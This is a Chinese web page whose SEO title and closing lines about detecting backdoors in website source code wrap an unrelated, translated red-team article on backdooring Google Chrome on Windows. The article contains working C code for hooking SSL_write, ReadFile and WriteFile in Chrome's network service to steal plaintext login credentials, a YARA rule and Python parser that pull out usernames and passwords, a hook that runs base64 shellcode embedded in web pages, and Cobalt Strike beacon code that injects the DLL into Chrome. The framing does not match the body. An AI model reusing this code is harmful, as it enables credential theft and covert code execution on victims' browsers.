如何检测网站源码分享是否有后门?怎么检测网站

大家好,如果您还对如何检测网站源码分享是否有后门不太了解,没有关系,今天就由本站为大家分享如何检测网站源码分享是否有后门的知识,包括怎么检测网站的问题都会给大家分析到,还望可以解决大家的问题,下面我们就开始吧!

Web浏览器默认就是受用户信任的,浏览器地址栏上会有一个安全挂锁标志,有些还会标注是受信任网站。这种信任使用户放心地将敏感数据输入这些网站,从攻击者的角度来看,这种信任是好事,因为一旦你破坏了用户工作站,就会有一个进程处理大量的敏感数据,同时又会被用户大量使用。使用带有浏览器扩展程序的密码管理器,你就会成为红队攻击的目标。

0x01总体概述

我决定研究的浏览器是GoogleChrome,原因很简单,因为它拥有台式机浏览器近70%的市场份额,所以它是迄今为止最受欢迎的浏览器,因此是明显的选择。

与大多数浏览器一样,Chrome使用多进程架构(如下所示):

这样做的原因是出于安全性和可用性的考虑,它允许对浏览器的特定部分(例如渲染器)进行沙盒处理,同时仍允许浏览器的其他部分在不受沙盒限制的情况下运行。Chrome分为7个不同的部分,其中最重要的部分是网络服务,存储服务和渲染器。网络服务按其提示运行,它处理与Internet的通信,因此可以获取我们追踪的敏感数据。

0x02窃取数据

我将针对Windows上运行的Chrome,而且Windows拥有自己的套接字库,称为Winsock。因此,Chrome很可能会使用Winsock进行网络通信。Chrome的大部分代码都存储在内部,因此将chrome.dll加载到IDA中并查看WSASend。

唯一的问题是,当用户连接到未启用SSL的站点时,WSASend仅将包含纯文本数据,这不太可能是我们要从中窃取数据的站点。那么,我们如何才能获得相同的数据,我们只针对SSL加密函数进行分析。

在Chrome开发过程中的某个地方,Google认为OpenSSL对他们来说还不够安全,因此他们自己制作了一个名为BoringSSL的分支。它们保留了原始的核心函数名称,例如SSL_write,在OpenSSL和BoringSSL中都做相同的事情。它将指向某些纯文本数据的指针作为buf参数,并将ssl写入参数所指向的SSL流。该函数的源代码如下所示:

我们可以通过搜索字符串SSL_write确认是Chrome在使用chrome.dll:

经过一番寻找之后,我在offset0x0000000182ED03E0位置找到了函数,我已经重命名了一些变量和函数名称,因此可以很清楚地看到它是SSL_write函数:

现在我们有了偏移量,可以放置一个钩子来将调用从合法重定向SSL_write到我们的SSL_write函数,我在之前的博客文章中做了这件事。

我写了一段代码来搜索以下模式字符串:

4156565755534883EC404589C64889D74889CB488B05EE3EDC054831E0488944

并将其替换为以下函数,该函数将仅在其中显示一个带有请求数据的文本框。

intSSL_write(void*ssl,void*buf,intnum){\nMessageBoxA(NULL,(char*)buf,&34;,0);\n\nreturnClean_SSLWrite(ssl,buf,num);\n}

我将DLL注入到网络服务中,并登录到Outlook帐户。如预期的那样,我有两个弹出框,一个包含请求标头,另一个包含POST正文:

为了确保这一点,我尝试登录了其他两个网站,在我尝试登录google服务并且没有弹框之前,一切似乎都正常运行。我不明白为什么我能够捕获除从任何请求到Google服务之外的所有请求。经过研究后,我发现了QUIC协议。事实证明,谷歌已决定TCP不再支持HTTP,而Chrome现在将改为使用UDP。

但是仍有一线希望,至少这迫使我承认Chrome实际上支持多种不同的协议这一事实,并且我必须找到一种更通用的解决方案来实现自己的目标。

0x03在多协议模式中窃取数据

现在完全可以重复上述过程,找到每个协议的关键函数的偏移量,然后进行Hook。但这似乎是一项艰巨的工作,并不是一种特别优雅的方法。取而代之的是,我决定寻找一种更简洁的方法。

回顾Chrome使用的多进程体系结构,我意识到渲染器进程必须使用一种方法将请求传达给网络服务并接收回响应。我发现了这个分享,他给出了有关浏览器如何使用进程间通信(IPC)的许多细节。通过针对两个进程之间用于IPC的函数,我现在可以窃取正在发送和接收的数据,这与协议无关。

在IPC通信期间,Chrome将使用多个不同的管道,调用控制\\\\.\\pipe\\chromeipc管道,而其他管道则用于传输数据,例如请求,响应,Cookie,已保存的凭据等。我发现了一个chromium-ipc-sniffer的工具,它将使我能够使用Wireshark嗅探Chromes控制管道发送的数据。

启动后发送了许多不相关的数据,因此我使用以下过滤器将其优化为仅包含我想查看的通信数据:

npfs.process_typecontains&34;&&npfs.process_typecontains&34;

在执行IPC时,Chrome使用的是Mojo,它是一种数据格式,基使Chrome可以轻松地传递数据并快速调用内部函数。如下面的图像所示,代理将在网络服务中调用Mojo方法URLLoaderFactory.CreateLoaderAndStart,并为它提供HTTP请求的关键信息,例如方法,域和Headers:

渲染器将直接使用代理作为这些请求的代理,而不是将请求直接传达给网络服务。

现在我们确定请求数据将通过IPC传输,可以开始窃取此数据了,这样做实际上非常容易,因为你只需挂接单个WindowsAPI调用即可获取请求的内容,而与要发送的协议无关,考虑以下Chrome自身内部代码的示例:

DWORDdwRead;\nLPVOIDlpBuffer=NULL;\n\nHANDLEhPipe=CreateFile(L&34;,\nGENERIC_READ,\n0,\nNULL,\nOPEN_EXISTING,\n0,\nNULL);\n\nwhile(hPipe!=INVALID_HANDLE_VALUE)\n{\nwhile(ReadFile(hPipe,lpBuffer,sizeof(lpBuffer),&dwRead,NULL)!=FALSE)\n{\nHandleMojoData(lpBuffer);\n}\nCloseHandle(hPipe);\n}

与其使用字节模式来查找HandleMojoData,还不如仅指定ReadFile的地址出现在PEB中,并可以通过调用轻松访问,而不是使用字节模式来查找GetProcAddress。下面是我要将合法ReadFile函数重定向到的函数:

BOOLHooked_ReadFile(HANDLEhFile,\nLPVOIDlpBuffer,\nDWORDnNumberOfBytesToRead,\nLPDWORDlpNumberOfBytesRead,\nLPOVERLAPPEDlpOverlapped\n)\n{\n//sowecanverifyifthefunctionishookedornot\nif(hFile==(HANDLE)READFILE_HOOKED&&lpBuffer==NULL)\n{\nreturnTRUE;\n}\nb\nWriteBufferToLog(lpBuffer,nNumberOfBytesToRead);\n\nreturnClean_ReadFile(hFile,lpBuffer,nNumberOfBytesToRead,lpNumberOfBytesRead,lpOverlapped);\n}

该函数所要做的就是将将从命名管道写入到磁盘上文件的数据记录下来,然后调用原始ReadFile函数。可以在这里找到此代码。

https://github.com/bats3c/ChromeTools/blob/main/chrometap/wiretap/dllmain.cpp

我之所以不包括仅记录请求数据的Mojo解析器,而是记录所有内容,仅仅是因为Chrome具有如此庞大的代码库,我几乎可以确定HTTP请求数据不会成为通过这些管道传递的唯一价值数据。考虑到这一点,有意义的是记录所有内容并在以后进行解析,而不会永远丢失该数据。

注入HookDLL并再次登录Outlook之后,进行正则,我就能找到我用来登录的凭据:

尝试使用QUIC协议登录https://account.google.com/,如下面的截图所示,我们现在可以窃取纯文本凭据:

现在唯一的挑战是解析此文件并提取尽可能多的加密信息。

0x04编写YARA规则获取登录口令

我需要编写一个实用程序来解析此Dump文件,它需要能够在多个不同的请求类型之间进行匹配和区分,然后以一种可以轻松检索请求加密数据的方式解析此类请求。为此,请结合使用YARA规则和我编写的python的插件系统hunt.py。

使用的hunt.py语法非常简单

./hunt.py

然后它将搜索Dump并找到key,如下所示:

编写规则和插件实际上非常容易。首先,你需要查看请求并挑选出可用于标识YARA规则请求的字符串:

然后使用这些字符串可以编写如下的YARA规则,规则应存储在rules/目录中:

ruleoutlook_creds{\nmeta:\nauthor=&34;\nplugin=&34;\nstrings:\n$str1=&34;\n$str2=&34;\n$str3=&34;\n$str4=&34;\ncondition:\nallofthem\n}

当hunt.py找到一个匹配时,它使用plugin变量中的规则来作为上述插件的名称来加载并解析该请求。

插件只是plugins.py文件中的一个函数。它将以字节对象的形式收到原始请求,并返回一个字典,其中包含找到的所有内容的名称和Key,例如{&39;:&39;,&39;:&39;,&39;:&39;}。

解析Outlook请求的插件如下所示:

defoutlook_parse(request):\n\ncreds={}\n\ncreds[&39;]=&39;\n\nlogin=re.search(rb&39;,request).group(1).decode()\nlogin=login[:login.index(&39;)]\ncreds[&39;]=login\n\npasswd=re.search(rb&39;,request).group(1).decode()\npasswd=passwd[:passwd.index(&39;)]\ncreds[&39;]=passwd\n\nreturncreds

看一下我们的chrometapBOF利用:

https://player.vimeo.com/video/499545085

0x05在Chrome中植入后门

能够从请求中窃取Key是一回事,但是怎么样使用Chrome作为隐蔽持久化的工具呢。

为了解决这个问题,我们将需要找到一种方法来查看Web请求的响应,但是,如果我们可以通过连接ReadFile网络服务来查看Web请求,则我们可以将这些请求的响应作为回写的内容进行查看。

Hook函数WriteFile,我修改了前面的代码来DumpWriteFile。将其注入网络服务并分析Dump文件,我原本希望看到大量HTML/CSS/JavaScript文件,但令我惊讶的是,并没有这些文件:

我很困惑,我以为我的假设是错误的,并且响应内容是通过IPC的另一种方式传达的。我花了一些时间研究共享内存(Chrome浏览器使用IPC的另一种方法),但仍然找不到响应内容。

感到沮丧的是,我正在查看请求标头,以查看是否有任何我错过的内容。然后我注意到了编码头,这就说得通了:

我以为网络服务将处理所有内容并将响应传递给渲染器进行渲染,但是从Dump文件中压缩后的内容量来看,渲染过程似乎也可以处理解压缩:

通过提取和解压缩压缩后的内容,我们可以看到它实际上是我一直在搜索的Web内容。

因此,现在我们知道,通过HookWriteFile并解压缩数据,lpBuffer将为我们提供纯文本Web内容。

然后,使用这个不错的gzip小解压缩库,我能够编写一个替换WriteFile的函数,该函数将对数据进行解压缩,并将HTML标记之间的数据提供ExecuteShellcode给要执行的shellcode函数。

34;&defineSHCPATTERN2&34;\n\nBOOLHooked_WriteFile(HANDLEhFile,\nLPCVOIDlpBuffer,\nDWORDnNumberOfBytesToWrite,\nLPDWORDlpNumberOfBytesWritten,\nLPOVERLAPPEDlpOverlapped)\n{\nintres;\nDWORDi;\nchar*start,*end;\nchar*target=NULL;\nunsignedchar*dest=NULL;\nunsignedchar*source=NULL;\nunsignedintlen,dlen,outlen;\nDWORD_PTRdwBuf=(DWORD_PTR)lpBuffer;\n\nif(hFile==(HANDLE)WRITEFILE_HOOKED&&lpBuffer==NULL)\n{\nreturnTRUE;\n}\n\nif(lpBuffer!=NULL&&nNumberOfBytesToWrite>=18)\n{\ntinf_init();\n\nautoucharptr=static_cast(lpBuffer);\nsource=const_cast(ucharptr);\n\ndlen=read_le32(&source[nNumberOfBytesToWrite-4]);\n\ndest=(unsignedchar*)malloc(dlen?dlen:1);\nif(dest==NULL)\n{\ngotoAPICALL;\n}\n\noutlen=dlen;\n\nres=tinf_gzip_uncompress(dest,&outlen,source,nNumberOfBytesToWrite);\n\nif((res!=TINF_OK)||(outlen!=dlen))\n{\nfree(dest);\ngotoAPICALL;\n}\n\nfor(i=0;i<outlen;i++)\n{\nif(!memcmp((PVOID)(dest+i),(unsignedchar*)SHCPATTERN1,strlen(SHCPATTERN1)))\n{\nif(start=strstr((char*)dest,SHCPATTERN1))\n{\nstart+=strlen(SHCPATTERN1);\nif(end=strstr(start,SHCPATTERN2))\n{\ntarget=(char*)malloc(end-start+1);\nmemcpy(target,start,end-start);\ntarget[end-start]=&39;;\n\nExecuteShellcode(target);\n}\n}\n}\n}\n\nfree(dest);\nfree(target);\n\ngotoAPICALL;\n}\n\ngotoAPICALL;\n\nAPICALL:\nreturnClean_WriteFile(hFile,lpBuffer,nNumberOfBytesToWrite,lpNumberOfBytesWritten,lpOverlapped);\n}

在ExecuteShellcode中没有做什么特别的事情,它只是使用WindowsAPI为Base64解码了shellcode,然后执行它。

BOOLExecuteShellcode(char*shellcode)\n{\nDWORDdwOutLen;\nintshellcode_len=strlen(shellcode);\n\nFUNC_CryptStringToBinaryACryptStringToBinaryA=(FUNC_CryptStringToBinaryA)GetProcAddress(\nLoadLibraryA(&34;),\n&34;);\n\nCryptStringToBinaryA(\n(LPCSTR)shellcode,\n(DWORD)shellcode_len,\nCRYPT_STRING_BASE64,\nNULL,\n&dwOutLen,\nNULL,\nNULL\n);\n\nBYTE*pbBinary=(BYTE*)malloc(dwOutLen+1);\n\nCryptStringToBinaryA(\n(LPCSTR)shellcode,\n(DWORD)shellcode_len,\nCRYPT_STRING_BASE64,\npbBinary,\n&dwOutLen,\nNULL,\nNULL\n);\n\nvoid*module=VirtualAlloc(0,dwOutLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);\n\nmemcpy(module,pbBinary,dwOutLen);\n\nCreateThread(NULL,0,(LPTHREAD_START_ROUTINE)module,NULL,0,0);\n\nreturnTRUE;\n\n}

由于我们现在有了一个DLL,一旦注入DLL,它将迫使Chrome执行标签之间的任何shellcode,对其进行测试:

如果你使用加入了后门的浏览器访问我博客的主页,则将运行shellcode:

你需要做的就是让用户访问一个包含纯文本shellcode标记的Web资源,无论它是链接,图像,iframe还是其他任何文本。

你可以在每次重新启动后使用任何常规的持久化技术来重新插入钩子。

0x06Shellcode武器化

以DLL形式拥有这些工具很有用,但对于红队渗透而言却不是很实用,因为我必须以某种方式识别Chrome的网络服务,然后注入所说的DLL。因此,我决定结合使用sRDI和CobaltStrikes的beacon对象文件来部署它们。

我编写了beacon对象文件(BoF)以使用直接的系统调用,这要归功于@Cneelis在InlineWhispers上所做的出色工作,使操作变得容易得多。

首先要找到Chrome的网络服务。它以映像名称chrome.exe运行,因此我将NtQuerySystemInformationsyscall与SystemProcessInformation参数一起使用,以获取指向SYSTEM_PROCESSES结构的指针,该结构包含有关计算机上当前正在运行的所有进程的信息。

typedefstruct_SYSTEM_PROCESSES{\nULONGNextEntryDelta;\nULONGThreadCount;\nULONGReserved1[6];\nLARGE_INTEGERCreateTime;\nLARGE_INTEGERUserTime;\nLARGE_INTEGERKernelTime;\nUNICODE_STRINGProcessName;\nKPRIORITYBasePriority;\nHANDLEProcessId;\nHANDLEInheritedFromProcessId;\n}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;

然后使用NextEntryDelta通过的处理进行迭代,直到ProcessName.Buffer是chrome.exe。

DWORDGetChromeNetworkProc()\n{\nNTSTATUSdwStatus;\nULONGulRetLen=0;\nLPVOIDlpBuffer=NULL;\nDWORDdwPid,dwProcPid=0;\n\nif(NtQuerySystemInformation(SystemProcessInformation,0,0,&ulRetLen)!=STATUS_INFO_LENGTH_MISMATCH)\n{\ngotoCleanup;\n}\n\nlpBuffer=MSVCRT$malloc(ulRetLen);\nif(lpBuffer==NULL)\n{\ngotoCleanup;\n}\n\nif(!NtQuerySystemInformation(SystemProcessInformation,lpBuffer,ulRetLen,&ulRetLen)==STATUS_SUCCESS)\n{\ngotoCleanup;\n}\n\nPSYSTEM_PROCESSESlpProcInfo=(PSYSTEM_PROCESSES)lpBuffer;\n\ndo\n{\ndwPid=0;\n\nlpProcInfo=(PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo)+lpProcInfo->NextEntryDelta);\ndwProcPid=*((DWORD*)&lpProcInfo->ProcessId);\n\nif(MSVCRT$wcscmp(lpProcInfo->ProcessName.Buffer,L&34;)==0)\n{\nif(IsNetworkProc(dwProcPid))\n{\ndwPid=dwProcPid;\ngotoCleanup;\n}\n}\n\nif(lpProcInfo->NextEntryDelta==0)\n{\ngotoCleanup;\n}\n}while(lpProcInfo);\n\nCleanup:\nreturndwPid;\n}

一旦找到一个名为chrome.exe进程的进程,其进程ID将传递给该IsNetworkProc函数,该函数将确定它是否实际上是网络服务。这是通过使用NtQueryInformationProcesssyscall来获取远程进程中进程环境块(PEB)的地址,然后遍历PEB直到找到启动该进程的命令行参数来完成的。如果–utility-sub-type=network.mojom.NetworkService在启动chrome.exe进程时使用了该标志,则该进程将成为网络服务。

BOOLIsNetworkProc(DWORDdwPid)\n{\nPPEBpPeb;\nSIZE_TstRead;\nHANDLEhProcess;\nNTSTATUSdwStatus;\nBOOLbStatus=FALSE;\nPWSTRlpwBufferLocal;\nPROCESS_BASIC_INFORMATIONBasicInfo;\n\nMSVCRT$memset(&BasicInfo,&39;,sizeof(BasicInfo));\n\nif((hProcess=OpenProcessHandle(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,dwPid))==INVALID_HANDLE_VALUE)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nif((dwStatus=NtQueryInformationProcess(hProcess,ProcessBasicInformation,&BasicInfo,sizeof(BasicInfo),NULL))!=STATUS_SUCCESS)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nLPVOIDlpPebBuf=MSVCRT$malloc(sizeof(PEB));\nif(lpPebBuf==NULL)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nif(NtReadVirtualMemory(hProcess,BasicInfo.PebBaseAddress,lpPebBuf,sizeof(PEB),&stRead)!=STATUS_SUCCESS)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nPPEBpPebLocal=(PPEB)lpPebBuf;\n\nPRTL_USER_PROCESS_PARAMETERSpRtlProcParam=pPebLocal->ProcessParameters;\nPRTL_USER_PROCESS_PARAMETERSpRtlProcParamCopy=(PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS));\n\nif(pRtlProcParamCopy==NULL)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nif(NtReadVirtualMemory(hProcess,pRtlProcParam,pRtlProcParamCopy,sizeof(RTL_USER_PROCESS_PARAMETERS),NULL)!=STATUS_SUCCESS)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nUSHORTlen=pRtlProcParamCopy->CommandLine.Length;\nPWSTRlpwBuffer=pRtlProcParamCopy->CommandLine.Buffer;\n\nif((lpwBufferLocal=(PWSTR)MSVCRT$malloc(len))==NULL)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nif(NtReadVirtualMemory(hProcess,lpwBuffer,lpwBufferLocal,len,NULL)!=STATUS_SUCCESS)\n{\nbStatus=FALSE;\ngotoCleanup;\n}\n\nif(MSVCRT$wcsstr(lpwBufferLocal,L&34;)!=NULL)\n{\nbStatus=TRUE;\n}\n\ngotoCleanup;\n\nCleanup:\nif(hProcess){KERNEL32$CloseHandle(hProcess);}\n\nreturnbStatus;\n}

一旦找到网络进程,它将使用下面的代码将DLL注入到进程中,该DLL现在由于sRDI而变成了与位置无关的shellcode。

BOOLInjectShellcode(DWORDdwChromePid,DWORDdwShcLen,LPVOIDlpShcBuf)\n{\nULONGulPerms;\nLPVOIDlpBuffer=NULL;\nHANDLEhProcess,hThread;\nSIZE_TstSize=(SIZE_T)dwShcLen;\n\nif((hProcess=OpenProcessHandle(PROCESS_ALL_ACCESS,dwChromePid))==INVALID_HANDLE_VALUE)\n{\nreturnFALSE;\n}\n\nNtAllocateVirtualMemory(hProcess,&lpBuffer,0,&stSize,(MEM_RESERVE|MEM_COMMIT),PAGE_READWRITE);\nif(lpBuffer==NULL)\n{\nreturnFALSE;\n}\n\nif(NtWriteVirtualMemory(hProcess,lpBuffer,lpShcBuf,dwShcLen,NULL)!=STATUS_SUCCESS)\n{\nreturnFALSE;\n}\n\nif(NtProtectVirtualMemory(hProcess,&lpBuffer,&stSize,PAGE_EXECUTE_READ,&ulPerms)!=STATUS_SUCCESS)\n{\nreturnFALSE;\n}\n\nNtCreateThreadEx(&hThread,0x1FFFFF,NULL,hProcess,(LPTHREAD_START_ROUTINE)lpBuffer,NULL,FALSE,0,0,0,NULL);\nif(hThread==INVALID_HANDLE_VALUE)\n{\nreturnFALSE;\n}\n\nreturnTRUE;\n}

好了,关于如何检测网站源码分享是否有后门和怎么检测网站的问题到这里结束啦,希望可以解决您的问题哈!

Published by

风君子

独自遨游何稽首 揭天掀地慰生平